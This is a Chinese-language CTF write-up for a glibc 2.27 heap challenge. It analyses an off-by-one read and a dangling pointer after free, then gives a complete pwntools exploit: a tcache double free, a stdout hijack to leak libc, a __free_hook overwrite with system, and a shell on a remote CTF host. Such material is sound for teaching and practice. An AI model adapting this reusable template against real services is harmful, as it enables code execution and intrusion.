劫持_IO_2_1_stdout_
程序没有show,需要劫持_IO_2_1_stdout_
程序有add,edit,free其中edit调用sub_B5F 会多读1个字符:off_by_one,由于有大小限制,通过这里释放得到unsortbin
__int64 __fastcall readstr_1(__int64 a1, signed int a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; (int)i <= a2; ++i ) // 会多读入1字符
{
if ( (int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( buf == 10 )
{
*(_BYTE *)((int)i + a1) = 0;
return i;
}
*(_BYTE *)(a1 + (int)i) = buf;
}
return i;
}
free函数没有清理指针
void m3free()
{
int v0; // [rsp+Ch] [rbp-4h]
v0 = sub_C5C();
if ( v0 != -1 )
free((void *)qword_202060[v0]);
}
思路:
- 先建4个块0x68*3+0x18 (序号从1开始)第4个一是用来防止top_chunk合并,2是在后边作doublefree控制free_hook
- 先将2释放进tcache,再通过1修改2的头为0xe1然后释放2 块8次进入unsortbin
- 这里2块有tcache预留的fd指针处是main_arena 修改2 两字节为?760 半个字节爆破,让它等于_IO_2_1_stdout_
- 再建块建到_IO_2_1_stdout_ 并用p64(0xfbad1887)+p64(0)*3+p8(0x58) 覆盖,然后它会输入_IO_file_jumps 可能得到libc
- 前边预留的块4 doublefree后修改为free_hook再建2次建到free_hook上,然后修改为system
- 释放一个带/bin/sh的块得到shell
难度不大,可以当模板用,完整exp
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 29957)
libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
menu = b"choice> "
def add(idx, size):
p.sendlineafter(menu, b'1')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(b"size> ", str(size).encode())
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
def edit(idx, size, msg):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(b"size> ", str(size).encode())
p.sendafter(b"info> ", msg)
def pwn():
#context.log_level = 'debug'
p.sendlineafter(b'input calendar name> ', b'A')
add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
add(4, 0x18)
free(2)
edit(1, 0x68, b'A'*0x68 + b'\xe1')
[free(2) for i in range(8)]
edit(1, 0x68, b'A'*0x68 + b'\x71')
#gdb.attach(p)
#pause()
#lh = int(input('lh='), 16)+1
lh = 8
edit(2, 1, p16(lh*0x1000 + 0x760)+b'\n') #size 1 input 2
add(3, 0x68)
add(3, 0x68)
edit(3, 32, p64(0xfbad1887)+p64(0)*3+p8(0x58) ) #size 32 input 33
libc_base = u64(p.recv(8)) - libc_elf.sym['_IO_file_jumps']
libc_elf.address = libc_base
one_gadget= libc_base + one[0]
free(4)
free(4)
edit(4, 7, p64(libc_elf.sym['__free_hook']))
add(4, 0x18)
edit(4, 7, b'/bin/sh\x00')
add(1, 0x18)
edit(1, 7, p64(libc_elf.sym['system']))
free(4)
p.sendline(b'cat /flag')
p.interactive()
connect()
pwn()